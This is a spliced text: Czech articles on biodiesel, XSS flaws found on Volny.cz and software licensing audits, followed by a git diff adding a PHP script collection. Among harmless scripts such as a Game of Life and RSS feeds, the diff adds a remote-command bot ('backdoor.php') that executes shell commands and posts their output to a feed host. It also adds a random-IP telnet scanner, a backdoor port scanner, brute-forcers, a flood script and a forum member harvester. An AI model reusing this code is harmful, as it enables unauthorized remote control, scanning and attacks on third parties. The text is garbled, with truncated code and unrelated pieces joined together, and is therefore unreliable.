000 hektaru orne pudy. Ceska vlada se proto rozhodla podporovat v teto oblasti zemedelce a vyrobce metylesteru. Od roku 1997 uvolnuje kazdym rokem dotace ve vysi nekolika set milionu Korun. Pro spotrebitele je pak BIO nafta zvyhodnena nizkou spotrebni dani. + +Cena BIO nafty bohuzel zustava v soucasne dobe vyssi nez cena bezne nafty a spotrebitel tak radeji voli mene ekologickou variantu. Cenovy rozdil se vsak postupne snizuje. Skutecnost, ze cena bezne ropy postupne poroste vlivem jejiho nedostatku, nahrava prave zvysovani podilu bio slozky v palivech. V brzke dobe se tak pravdepodobne dockame uplneho nahrazeni stavajicich pohonnych hmot nekterou z vice ekologickych variant ziskavanou z obnovitelnych zdroju energie. Vyhneme se tak katastrofickemu ropnemu soku, ktery by nas mohl behem nekolika desetileti postihnout. + + + + +Bezpecnost na webu Volny.cz +Autor: .cCuMiNn. + +nologo Po bezpecnostnim testu venovanem freemailu spolecnosti Seznam.cz, ktery skoncil s oznamenim zranitelnosti na CSRF utoky, jsem se tentokrat zameril na web Volny.cz spolecnosti Telekom Austria. Vysledkem bezpecnostniho testu je tento report, ktery informuje o nalezenych zranitelnostech. + +Jako prvni jsem se zameril na hledani zranitelnosti v podobe XSS. Tyto by mely byt na portalech teto velikosti podchyceny, protoze jde snad o nejvice diskutovany a zdokumentovany druh zranitelnosti. Ac jsem nachylnost na utoky XSS necekal, nasel jsem jich na webu Volny.cz spousty. Da se dokonce rici, ze bylo spise vyjimkou, pokud prihlasovaci nebo vyhledavaci formular touto chybou netrpel. +XSS na webu Volny.cz + + * Vyhledavani, na uvodni strance a pod odkazem vyhledavani, ktere bezi na domene volny.zlatestranky.cz. + * Vyhledavani ve zbozi, ktere bezi na domene zbozi.volny.cz + * Vzhledavani v e-shopu na domene shop.volny.cz + * Dalsi chybicka se nachazi na domene web.volny.cz pri prihlasovani k SMS. + * XSS zranitelnosti trpi i formular pro prihlaseni k mailovemu uctu, ktery je umisten na hlavni strance web.volny.cz. Tomuto formulari sice nelze predat data odkazem, protoze je cerpa z cookies, ale presto tuto zranitelnost obsahuje. + * Dalsim postizenym mistem je chat.volny.cz, kde obsahuje XSS zranitelnost prihlasovaci formular, kteremu je nutne data poslat metodou post. + * Stranka s SMS je ve svem formulari pro vyhledavani take nachylna pres POST vhodne upravenych dat, stejne jako formular pro vyhledavani v televiznich programech na adrese http://web.volny.cz/zabava/tv/ + * Sekce album.volny.cz je nachylna ve formulari pro prihlaseni a soucasne take ve formulari pro vyhledavani. + * Zrejme proto, aby v tom spolecnost Volny.cz nezustala sama, umoznuje neosetrene prihlasovani i do dalsich domen. Napriklad na adrese http://sex.volny.cz/ muzete vyvolat XSS pokud se pokusite prihlasit s vhodne upravenym PoST pozadavkem k seznamce www.amateri.cz. Tato chyba ovsem vznika az v kontextu zminene seznamky a proto se ji zde nebudeme zabyvat. + + +Legalita software a softwarovy audit (2) +Autor: .cCuMiNn. + +V minulem dile tohoto serialu jsme si rekli neco o autorskem zakonu, o tom kdy dochazi k jeho porusovani a o trestech, ktere hrozi tomu, kdo autorsky zakon porusi. Priblizili jsme si take policejni zakrok pri kontrole legalnosti pouzivaneho softwaru a prave na ten dnes navazeme dilem, ktery se bude venovat dokladum, ktere potrebujeme k prokazani legalniho nabyti softwaru. +Cim dokladovat legalni nabyti softwaru + +Nejdulezitejsim dokladem o legalnim nabyti softwaru je faktura nebo jiny doklad vystaveny prodejcem. Timto dokladem deklarujeme pri kontrole legalni nabyti softwaru. Z tohoto duvodu je nutne veskere doklady o koupi softwaru peclive uschovat a mit je dostupne po celou dobu pouzivani daneho programu. Na toto je dulezite myslet hlavne ve firmach, ktere maji povinnost uchovavat danove doklady pouze po dobu peti let a pak casto dochazi k jejich skartovani. V pripade, ze by ke skartovani techto nabyvacich dokladu doslo, budete legalnost softwaru prokazovat jen tezko a pokud nedohleda tyto doklady ani vas dodavatel, budete software nuceni koupit podruhe. Jestlize jste porizovali k nekterym svym programum upgrade, pak je dulezite uschovat doklady nejen od koupe tohoto upgradu, ale zaroven musime dokladovat i legalni nabyti predchozi verze, kterou v soucasne dobe jiz nepouzivame, ale diky ktere jsme meli narok na slevu v ramci upgrade. + +Pokud se nyni zamerime na OEM licence, ktere je mozne (az na vyjimky), poridit pouze spolecne s novym hardwarem, pak nesmime zapomenout na to, aby byl veskery OEM software uveden na kupnim dokladu k tomuto hardwaru. V zadnem pripade nestaci, aby bylo na dokladu uvedeno napriklad: "Predmetem koupe je pocitac LINX spolecne s nainstalovanym softwarem." Vzdy musime trvat na tom, aby byl na dokladu uveden presny nazev programu, jeho verze a v nekterych pripadech i jazykova mutace. Spravne vypsany doklad by mel tedy obsahovat napriklad takovouto vetu: " Uvedeny hardware je dodan spolecne s nainstalovanym operacnim systemem OEM MS Windows XP profesional CZ." OEM verze softwaru jsou vazany na hardware, se kterym byly porizeny (casto musime na skrin pocitace nalepit stitek dodavany s OEM verzemi programu) a pokud dochazi k odpisu tohoto hardware, musime spolecne s nim vyradit i OEM software, uvedeny na prodejnim dokladu k hardwaru. V zadnem pripade nemuzeme OEM verze programu vzit a nainstalovat je na jiny hardware. Pokud by probihala kontrola legalnosti a byla by zjistena skutecnost, ze OEM verze softwaru jsou nainstalovany na jinem hardwaru, nez ktery je uveden na nabyvacim dokladu s inkriminovanym softwarem, pak by se tato kopie brala jako nelegalni. Kdyz uz jsme nakousli software kupovany spolecne s hardwarem, musime si take uvedomit, ze spolecne s hardwarem dostavame casto darem i ruzny software v podobe her a uzitecnych programu. Vzdy bychom meli trvat na tom, aby byl seznam veskereho softwaru, ktery je s hardwarem dodan, uveden na dokladu o koupi. +Uvedme si priklad: +Koupime si fotoaparat a spolecne s nim dostaneme program pro upravu fotek, kadernicke studio pro tvorbu ucesu a dalsi napriklad pro tvorbu fotoalbumu. Vsechno budou komercni programy, ktere nebudou uvedeny na dokladu o koupi fotoaparatu ani v seznamu jeho prislusenstvi a my si je vsechny nainstalujeme. Kdyz potom prijde kontrola, tak si s nejvetsi pravdepodobnosti nevzpomeneme na to, kde jsme k temto programum prisli a pokud si preci jen vzpomeneme, nebudeme moci legalitu nabyti nijak dokazat. V takovem pripade nam pak hrozi nahrada skody za pouziti techto programu. + +Dalsi veci, o ktere jsem se zapomnel zminit v minulem dilu jsou pocitace cekajici na vyrazeni, pokud je prestaneme pouzivat. Pokud software, ktery jsme na nich pouzivali, nainstalujeme na novy pocitac, musime jej vzdy z vyrazovaneho pocitace ihned odinstalovat. Rekneme, ze si koupime krabicovou verzi MS Office, kterou pouzivame na svem pocitaci. Za nejakou dobu se rozhodneme, ze se stareho pocitace zbavime a misto nej si poridime novy. Stary pocitac hodime bez odinstalace do kouta a nas MS Office si nainstalujeme na novy pocitac. Pokud v tuto chvili prijde kontrola, nebude ji v zadnem pripade zajimat, ze je pocitac v koute vyrazeny a jedna kopie nainstalovaneho baliku MS Office bude povazovana za nelegalni. +Softwarovy audit + +Z vyse uvedenych faktu je patrne, ze pravidelna kontrola instalovaneho softwaru, mnozstvi licenci a jejich spravne prirazeni k nabyvacim dokladum je z preventivniho hlediska velmi dulezita. Pokud patrite mezi uzivatele, kteri se snazi instalovat na svuj pocitac pouze legalne nabyty software, pak si zkuste polozit otazku, zda byste byli v pripade kontroly schopni dohledat vsechny doklady o koupi pouzivaneho softwaru. Pokud nemate doklady naprosto v poradku, zrejme vam da celkem dost prace, nez vsechny potrebne dokumenty date dohromady. A co teprve, pokud jste spravcem IT ve vetsi firme a musite priradit nabyvaci doklady k softwaru, ktery je instalovan na desitkach pocitacu? Vzdy byste meli myslet na nejhorsi a povazovat policejni kontrolu legalniho pouzivani softwaru za realnou vec, ktera vas muze kdykoliv potkat. Netreba zduraznovat, ze pokud budete provadet preventivni softwarovy audit sami od sebe, budete na policejni kontrolu vzdy pripraveni a nebudete se ji muset obavat. Nehlede na to, ze jste-li zminenym spravcem IT ve firme, pak nesete plnou zodpovednost za nainstalovany software a v pripade, kdy si na sve pocitace nainstaluji nelegalni software samotni zamestnanci, stejne stanete pred soudem s nejvetsi pravdepodobnosti prave vy. To uz je snad dostatecny duvod, ktery by vas mel k softwarovymu auditu prinutit. Co to tedy softwarovy audit vlastne je? Jde o vytvoreni seznamu veskereho softwaru nainstalovaneho na pocitacich, kterych se softwarovy audit tyka, dohledani vsech nabyvacich dokladu a pripadne dokoupeni licenci nebo odinstalace softwaru, ktery byl na pocitace instalovan nelegalne. + +Priste se sejdeme jiz u posledniho dilu tohoto serialu, abychom si povedeli neco o tom, jak spravne provadet softwarovy audit a jakym zpusobem mohou spravci IT prenest zodpovednost za instalovany software na koncove uzivatele. diff --git a/php/game-of-life/glider.txt b/php/game-of-life/glider.txt new file mode 100644 index 0000000..a3dcc3a --- /dev/null +++ b/php/game-of-life/glider.txt @@ -0,0 +1,30 @@ +------------------------------------------------------------------------------- +----#-------------------------------------------------------------------------- +-----#------------------------------------------------------------------------- +---###------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- diff --git a/php/game-of-life/golife.php b/php/game-of-life/golife.php new file mode 100644 index 0000000..fa509ae --- /dev/null +++ b/php/game-of-life/golife.php @@ -0,0 +1,154 @@ + $line) { + $life[$lnum] = trim($line); + } + return $life; +} + +// +function life_randomize($lines, $chars) { + $pop = $GLOBALS["populated"]; + $unp = $GLOBALS["unpopulated"]; + $life = ""; + $i = 0; + while($lines > $i) { + $line = ""; + $ichars = $chars; + while($ichars > 0) { + $line = $line.rand(0,1); + $ichars--; + } + $line = str_replace("0", $unp, $line); + $line = str_replace("1", $pop, $line); + $life[$i] = $line; + $i++; + } + return $life; +} + +// +function life_print($life) { + foreach($life as $line) { + $line = str_replace($GLOBALS["populated"], $GLOBALS["prpop"], $line); + $line = str_replace($GLOBALS["unpopulated"], $GLOBALS["prunp"], $line); + echo($line."|\r\n"); + } +} + +// +function life_neighs($life, $line, $char) { + @$neighs = ""; + @$neighs = $neighs.$life[$line][$char+1]; + @$neighs = $neighs.$life[$line][$char-1]; + @$neighs = $neighs.$life[$line+1][$char+1]; + @$neighs = $neighs.$life[$line+1][$char-1]; + @$neighs = $neighs.$life[$line+1][$char]; + @$neighs = $neighs.$life[$line-1][$char+1]; + @$neighs = $neighs.$life[$line-1][$char-1]; + @$neighs = $neighs.$life[$line-1][$char]; + return $neighs; +} + +// +function life_neighs_num($life, $line, $char) { + $neighs = life_neighs($life, $line, $char); + $neighs = ereg_replace("(\.| |0|_|-)", "", $neighs); //Unpopulated chars: . 0_- + $neighs = strlen($neighs); + //echo($neighs); //Debug + return $neighs; +} + +// +function life_next($life) { + + $pop = $GLOBALS["populated"]; + $unp = $GLOBALS["unpopulated"]; + $old_life = $life; + + foreach($life as $lnum => $line) { + //echo($lnum); //Debug + for($i = 0;$i < strlen($line);$i++) { + $neigh_num = 0; + $neigh_num = life_neighs_num($old_life, $lnum, $i); + //echo($lnum."-".$i."=".$neigh_num."\n"); //Debug + if($old_life[$lnum][$i] == $pop) { + if($neigh_num == 2 || $neigh_num == 3) { $life[$lnum][$i] = $pop; } else { $life[$lnum][$i] = $unp; } + } + else + { + if($neigh_num == 3) { $life[$lnum][$i] = $pop; } + } + } + } + return $life; + +} + +// +function cls() { + //Clear screen + for($i = 0; $i < 20;$i++) echo("\r\n"); +} + +///CODE/////////////////////////////////////////////////////////////////////////////// + +//Settings +$life = life_load("spacefiller.cells"); //Load life +//$life = life_randomize(30, 60); //Randomize life +$populated = "#"; //File format populated +$unpopulated = "."; //File format unpopulated +$prpop = "Û"; //chr(219); //Print chars populated +$prunp = " "; //Print chars unpopulated +$sleep = 1; //sleep in seconds +$usleep = 200000; //sleep in microseconds + +/* +$i = 0; +while($i < 220) { echo($i."-".chr($i)."\n"); $i++; } +*/ + +//Run +$backup_life = $life; +$old_life = ""; +$generation = 1; +while($old_life != $life) { //While moving + $old_life = $life; + echo("Generation: ".$generation."\r\n"); + life_print($life); + //cls(); //Shifting + $life = life_next($life); + //sleep($sleep); + //usleep($usleep); + $generation++; +} + + +?> diff --git a/php/game-of-life/life.txt b/php/game-of-life/life.txt new file mode 100644 index 0000000..8e10592 --- /dev/null +++ b/php/game-of-life/life.txt @@ -0,0 +1,14 @@ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +--------##########------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ +------------------------------------ diff --git a/php/game-of-life/spacefiller.cells b/php/game-of-life/spacefiller.cells new file mode 100644 index 0000000..530662c --- /dev/null +++ b/php/game-of-life/spacefiller.cells @@ -0,0 +1,55 @@ +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +..................................................#........................................ +.................................................###....................................... +............................................###....##...................................... +...........................................#..###..#.##.................................... +..........................................#...#.#..#.#..................................... +..........................................#....#.#.#.#.##.................................. +............................................#....#.#...##.................................. +................................####.....#.#....#...#.###.................................. +................................#...##.#.###.##.........##................................. +................................#.....##.....#............................................. +.................................#..##.#..#..#.##.......................................... +.......................................#.#.#.#.#.#.....####................................ +.................................#..##.#..#..#..##.#.##...#................................ +................................#.....##...#.#.#...##.....#................................ +................................#...##.#.##..#..#..#.##..#................................. +................................####.....#.#.#.#.#.#....................................... +..........................................##.#..#..#.##..#................................. +.............................................#.....##.....#................................ +.................................##.........##.###.#.##...#................................ +..................................###.#...#....#.#.....####................................ +..................................##...#.#....#............................................ +..................................##.#.#.#.#....#.......................................... +.....................................#.#..#.#...#.......................................... +....................................##.#..###..#........................................... +......................................##....###............................................ +.......................................###................................................. +........................................#.................................................. +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... +........................................................................................... diff --git a/php/location.php b/php/location.php new file mode 100644 index 0000000..194f34a --- /dev/null +++ b/php/location.php @@ -0,0 +1 @@ +//Header('Location: '.(($_SERVER['HTTPS'] != '') ? 'https://' : 'http://').'logout-'.md5(rand()).'@'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF']); \ No newline at end of file diff --git a/php/mc b/php/mc new file mode 100755 index 0000000..47e3967 --- /dev/null +++ b/php/mc @@ -0,0 +1,26 @@ +#!/usr/bin/php + array("pipe", "r"), // stdout + 1 => array("pipe", "w"), // stdin + //2 => array("pipe", "r") // stderr + //2 => array("file", "./error-output.txt", "a") // stderr is a file to write to +); + +$cwd = '~/'; + +$process = proc_open($command, $descriptorspec, $pipes, $cwd, $_ENV); +$stdin = fopen('php://stdin', 'r'); + +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +//stream_set_blocking($pipes[2], 0); +stream_set_blocking($stdin, 0); + +while(!feof($pipes[0]) && !feof($pipes[1])) { + echo(fgetc($pipes[1])); + fwrite($pipes[0], fgetc($stdin)); +} \ No newline at end of file diff --git a/php/phpbb_member_sucker.php b/php/phpbb_member_sucker.php new file mode 100644 index 0000000..718a231 --- /dev/null +++ b/php/phpbb_member_sucker.php @@ -0,0 +1,13 @@ +=16 && $ip[1]<=31) return 1; + if($ip[0]==192 && $ip[1]==168) return 1; + return 0; +} + +function scan_check($ip, $port=80, $timeout = 0.4) { + $fp = @fsockopen($ip, $port, $errno, $errstr, $timeout); + if($fp) return 1; +} + +//while(1) echo(ip_range(ip_rand())."\n"); + + +while(1) { + if(ip_range($ip = ip_rand())) continue; + if(scan_check($ip, 23)) echo($ip."\n"); + //echo($ip.' - '.gethostbyaddr($ip)."\n"); //Debug +} +/* +24-bit block 10.0.0.0 - 10.255.255.255 +20-bit block 172.16.0.0 - 172.31.255.255 +16-bit block 192.168.0.0 - 192.168.255.255 +*/ \ No newline at end of file diff --git a/php/rozvrh.atom.phps b/php/rozvrh.atom.phps new file mode 100755 index 0000000..dd6ce16 --- /dev/null +++ b/php/rozvrh.atom.phps @@ -0,0 +1,78 @@ +\n"); + echo("\t$id\n"); + echo("\t" . strftime("%Y-%m-%dT%H:%M:%SZ", $update) . "\n"); + echo("\t$title\n"); + echo("\t\n"); + echo("\t$desc\n"); + echo("\n\n"); + } + echo(' version="1.0" encoding="UTF-8"?> + + Změny v rozvrhu SSPÅ  + Aktuální změny v rozvrhu SSPÅ  + + http://www.ssps.cz/favicon.ico + tag:ssps.cz,2008: + + SSPÅ  + +]+>', iconv('WINDOWS-1250', 'UTF-8', file_get_contents($url))); + $date = 0; + $update = 0; + $lastUpdate = 0; + + ob_start(); + + foreach($feed as $line) { + $line = trim($line); + if($line == '' || eregi('rozvrhy', $line)) continue; + + # Last update? + if (eregi("^Aktualizováno: (..)\.(..)\.(....) (..:..:..)$", $line, $r)) + { + $update = strtotime("{$r[3]}-{$r[2]}-{$r[1]} {$r[4]}"); + + # This is the last update of the whole feed + if ($lastUpdate < $update) + $lastUpdate = $update; + continue; + } + + # What day are we reading? + if (eregi("^[^ ]+ (..)\.(..)\.(....)$", $line, $r)) + { + $date = strtotime("{$r[3]}-{$r[2]}-{$r[1]}"); + continue; + } + + # Found a line about our class + if ($date && eregi($croom, $line)) + { + $days = array('Ne', 'Po', 'Út', 'St', 'Čt', 'Pá', 'So'); + $wday = localtime($date, TRUE); + $wday = $days[$wday['tm_wday']]; + atomPrintItem($wday . strftime(" %d.%m. ", $date) . $line, + "tag:ssps.cz," . strftime("%Y-%m-%d:", $date) . md5($line), + $update, $url, $line); + } + } + $feed = ob_get_contents(); + ob_end_clean(); + # Must appear before the items + echo ("\t" . strftime("%Y-%m-%dT%H:%M:%SZ", $lastUpdate) . "\n"); + echo $feed; +?> + + diff --git a/php/rozvrh.rss.php b/php/rozvrh.rss.php new file mode 100644 index 0000000..213cbb8 --- /dev/null +++ b/php/rozvrh.rss.php @@ -0,0 +1,36 @@ +', '', $line); + $line = str_replace(' ', ' ', $line); + $line = trim($line); + //echo("\n"); + break; + } +} + +echo(''); +?> + + +Zmeny v rozvrhu SSPS +http://www.ssps.cz/pages/rozvrhy/index.php +Aktualni zmeny v rozvrhu SSPS +cs + + + <?php echo($line); ?> + http://www.ssps.cz/pages/rozvrhy/index.php + + + + + + diff --git a/php/rozvrh.rss.phps b/php/rozvrh.rss.phps new file mode 100755 index 0000000..e723eda --- /dev/null +++ b/php/rozvrh.rss.phps @@ -0,0 +1,33 @@ +\n"); + echo("\t$title\n"); + echo("\t$link\n"); + echo("\t$desc\n"); + echo("\n\n"); + } +?> + version="1.0" encoding="UTF-8"?> + +Zmeny v rozvrhu SSPS + +Aktualni zmeny v rozvrhu SSPS +cs + +', iconv('WINDOWS-1250', 'UTF-8', file_get_contents($url))); + + foreach($feed as $line) { + $line = trim($line); + if($line == '' || eregi('rozvrhy', $line)) continue; + if(eregi($croom, $line)) rss_add_item($line, $url); + } + +?> + + diff --git a/php/skripty/NE_tcp_service_checker.php b/php/skripty/NE_tcp_service_checker.php new file mode 100644 index 0000000..1046a21 --- /dev/null +++ b/php/skripty/NE_tcp_service_checker.php @@ -0,0 +1,26 @@ + diff --git a/php/skripty/ascii.php b/php/skripty/ascii.php new file mode 100644 index 0000000..16bff66 --- /dev/null +++ b/php/skripty/ascii.php @@ -0,0 +1,19 @@ +/* +Generates Ascii table (By Harvie 2oo6) +*/ + + diff --git a/php/skripty/backdoor.php b/php/skripty/backdoor.php new file mode 100644 index 0000000..6c64765 --- /dev/null +++ b/php/skripty/backdoor.php @@ -0,0 +1,111 @@ + $val) $postdata .= '&'.$key.'='.$val; + +$http_response = post('localhost', '/PHP/zombiefeed.php', $postdata); + +///////////////////////////////////////////////////// + +function shellf($command) { + $shellout = shell_exec($command); + post($feedhost, $feedpath, $shellout); + echo ($shellout); //Debug + } + +function autodestruct() { + echo("KILLED BY MY MASTER !!!\n\n"); + //System("del this1234567889.exe"); + //System("shutdown -s"); +} + +////////////////////////////////////////////////////////////////// + +//Debug: +//readfile("http://harvie.stokoruna.cz/"); +//shellf("dir"); + +//GET SAVED SETTINGS: +if ( $fp = fopen($lastf, "r") ) { //Check if settings file exists + $temp = fgets($fp); + fclose($fp); //Close settings file + //Parse saved settings: + $temp = explode( " ", trim($temp) ); + $last = $temp[0]; + $interval = $temp[1]; + //echo($fp); //Debug + } + +/* +echo("last: $last\n"); //Debug +echo("interval: $interval\n"); //Debug +*/ + +while(1) { //Listen on interface + $in = file($file); //Read commands from interface + if( $last < trim($in[0]) ) { //Command number check + + //Parse commands from interface to variables: + $last = trim($in[0]); + $interval = trim($in[1]); + $command = trim($in[2]); + $download = trim($in[3]); + $downloadto = trim($in[4]); + + //Save settings: + $fp = fopen($lastf, "w+"); + fwrite($fp, ("$last $interval") ); + fclose($fp); + +///////WORK WITH RECIEVED COMMANDS//////////////////////////////// + + if ($command == "_autodestruct") + { autodestruct(); } + + echo("last: $last\n"); + echo("interval: $interval\n"); + echo("command: $command\n"); + echo("Download what: $download\n"); + echo("Download where: $downloadto\n"); + + echo("-------------------------------------------------------------------------\n"); + +///////REPLY TO SERVER//////////////////////////////////////////// + + //readfile($reply); + +////////////////////////////////////////////////////////////////// + + } + sleep($interval); //Pause +} + +?> diff --git a/php/skripty/bdscan.php b/php/skripty/bdscan.php new file mode 100644 index 0000000..c91d096 --- /dev/null +++ b/php/skripty/bdscan.php @@ -0,0 +1,83 @@ +#!/usr/bin/php + "CLASS.Name", + 21 => "SRV.FTP Service", + 22 => "SRV.Secure Shell Service", + 23 => "SRV.Telnet Service", + 24 => "BD.Harvie's NetCat BackDoor", + 80 => "SRV.HTTP Service", + 8080 => "SRV.HTTP Service", + + 113 => "WRM.Korgo.F", + 903 => "BD.NetDevil", + 1080 => "WRM.MyDoom.B, MyDoom.F, MyDoom.G, MyDoom.H", + 2283 => "WRM.Dumaru.Y", + 2535 => "WRM.Beagle.W, Beagle.X, other Beagle/Bagle variants", + 2745 => "WRM.Bagle", + 3067 => "WRM.Korgo.F", + 3127 => "WRM.My_Doom.A", + 3128 => "WRM.MyDoom.B", + 3140 => "BD.OptixPro.13 and variants", + 5554 => "WRM.Sasser through Sasser.C, Sasser.F", + 6129 => "RM.DameWare", + 8866 => "WRMBeagle.B", + 9898 => "WRM.Dabber.A and Dabber.B", + 9996 => "WRM.Sasser", + 10000 => "WRM.Dumaru.Y", + 10080 => "WRM.MyDoom.B", + 12345 => "BD.NetBus", + 16661 => "BD.HaxDoor", + 17300 => "BD.Kuang, Kuang2", + 27347 => "BD.SubSeven", + 27374 => "BD.SubSeven", + 65506 => "BOT.PhatBot, Agobot, Gaobot" + ); + +///SCAN/////////////////////////////////////////////////////// +echo("Harvie's BackDoor PortScanner\n"); +echo("[u] Usage: bdscan [host] [timeout]\n"); +echo("[i] Timeout is set to $timeout s\n"); +echo("[i] Scanning $host for backdoors and basic services...\n\n"); + +foreach($ports as $port => $bd) { + $sock = @pfsockopen($host, $port, $errno, $err, $timeout); + if($sock) { + echo("[!] $port : $bd\n"); + $found = true; + } else { + //echo("[-] $port : $bd\n"); + } +} + +if(isset($found)) { + echo("\n[!] Services listed above found...\n"); +} else { + echo("[i] No BackDoors/services found...\n"); +} +echo("[i] Finished...\n"); + +///SUX_PARSER///////////////////////////////////////////////// +/* +$fp = fopen("bdports.txt", "r"); +while(!feof($fp)) { + $line = trim(fgets($fp)); + $line = explode("\t", $line, 2); + $line[0] = trim($line[0]); + $line[1] = trim($line[1]); + //print_r($line); + echo(" ".$line[0]." => \"".$line[1]."\",\r\n"); +} +*/ diff --git a/php/skripty/bigflood.php b/php/skripty/bigflood.php new file mode 100644 index 0000000..4e1d2cd --- /dev/null +++ b/php/skripty/bigflood.php @@ -0,0 +1,25 @@ + + +*/ diff --git a/php/skripty/bruteForcer.php b/php/skripty/bruteForcer.php new file mode 100644 index 0000000..bd891a5 --- /dev/null +++ b/php/skripty/bruteForcer.php @@ -0,0 +1,90 @@ + diff --git a/php/skripty/bruteforcer2.php b/php/skripty/bruteforcer2.php new file mode 100644 index 0000000..9f6744c --- /dev/null +++ b/php/skripty/bruteforcer2.php @@ -0,0 +1,25 @@ + diff --git a/php/skripty/char_case_brute.php b/php/skripty/char_case_brute.php new file mode 100644 index 0000000..7bc9ca9 --- /dev/null +++ b/php/skripty/char_case_brute.php @@ -0,0 +1,62 @@ + 0;$len--) { + $mask = $mask."1"; +} //echo($mask); + +$i = base_convert($mask, 2, 10); //echo($i); +while(1) { + $mask = base_convert($i, 10, 2); + $mask = fill_notset($mask, $len, "b"); + if(strlen($mask) > strlen($str) || $i < 0) { die(); } + + //Regular + $str = $origstr; + for ($len = $origlen-1;$len>=0;$len--) { + if(isset($mask[$len]) && $mask[$len] == "1") { + $str[$len] = str2upper($str[$len]); + } + } echo($mask); + echo("$str\n"); + + /*/Reversed + $mask = str_replace(array("0","1"), array("1","0"), $mask); + $str = $origstr; + for ($len = $origlen-1;$len>=0;$len--) { + if(isset($mask[$len]) && $mask[$len] == "1") { + $str[$len] = str2upper($str[$len]); + } + } //echo($mask); + echo("$str\n"); + */ + +$i--; +} diff --git a/php/skripty/cmd.php b/php/skripty/cmd.php new file mode 100644 index 0000000..9fa6e48 --- /dev/null +++ b/php/skripty/cmd.php @@ -0,0 +1,23 @@ + diff --git a/php/skripty/cpuload.php b/php/skripty/cpuload.php new file mode 100644 index 0000000..ab311a2 --- /dev/null +++ b/php/skripty/cpuload.php @@ -0,0 +1,42 @@ + array("pipe", "r"), // stdin is a pipe that the child will read from + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + 2 => array("pipe", "r") // stderr is a file to write to +); + +$proc[$ind] = proc_open("proctest.exe", $desc, $pipes); +$ind = ($ind + 1); + +//////////////////////////////////////////////////////////////// + + $b = getmicrotime(); + $c = round(($b - $a), 10); + echo($c."\n"); + + } + +echo("end"); +system("taskkill /f /im proctest.exe"); +echo("OK"); +?> diff --git a/php/skripty/crdemo.php b/php/skripty/crdemo.php new file mode 100644 index 0000000..b81037f --- /dev/null +++ b/php/skripty/crdemo.php @@ -0,0 +1,8 @@ + 3) { $i = 0; } +} diff --git a/php/skripty/decode_binary_text.php b/php/skripty/decode_binary_text.php new file mode 100644 index 0000000..5ca9d72 --- /dev/null +++ b/php/skripty/decode_binary_text.php @@ -0,0 +1,357 @@ += 16) { echo("\n"); $nl = 0; } +} +echo("\n"); + +?> diff --git a/php/skripty/dir_tree.php b/php/skripty/dir_tree.php new file mode 100644 index 0000000..24f746f --- /dev/null +++ b/php/skripty/dir_tree.php @@ -0,0 +1,49 @@ +Soubory v $directory :

\n
    "); + + $dirfp = opendir ($directory); + $leveli = $level; + while($leveli) { echo("-"); $leveli--; } + echo "[DIR] $directory\n"; + while (false!==($file = readdir($dirfp))) + { + if ($file != "." && $file != "..") + { + if (is_dir($directory.$file)) + { + echo("\n"); + $leveli = $level; + while($leveli < 0) { echo("-"); $leveli--; } + //echo "-[DIR] $file\n"; + dir_tree("$directory$file\\", ($level+2)); + echo("\n"); + } + else + { + $leveli = $level; + while($leveli + 1) { echo("-"); $leveli--; } + echo "$file - ($directory$file)\n"; + //$num = ($num + 1); + } + } + } + closedir($dirfp); + +} + +//CODE + +$dir = ("D:\\Webdesign\\"); +echo("FreeSpace: ".(disk_free_space($dir)/1000000)." MB /".(disk_total_space($dir)/1000000)." MB\n"); +dir_tree($dir, 0); + +?> diff --git a/php/skripty/fce.php b/php/skripty/fce.php new file mode 100644 index 0000000..225239d --- /dev/null +++ b/php/skripty/fce.php @@ -0,0 +1,65 @@ +/n" + +//Settings: +$start = 0; //0 //First X +$step = 0.1; //0.1 //Increase X on every line by this number +$reset = 6.2; //When X >= reset, then it will be reseted to zero +$zoom = 1; //1 //This will repeat every line few times +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Function: +//You can specify yours function here: +function func($x) { + +$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 35; //20 //35 //40 //This will stretch every line. + +$y = ( (sin($x) + $offset) * $width ); +//echo("Debug: ".$x." ".$y." "); //Debug +return ($y); + +} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo ("0| y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +$pos = $start; +while(1) { + + usleep($sleep); //Wait in microseconds + + $znaku = func($pos); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + $pos = ($pos + $step); + if ($pos >= $reset) { + $pos = 0; + 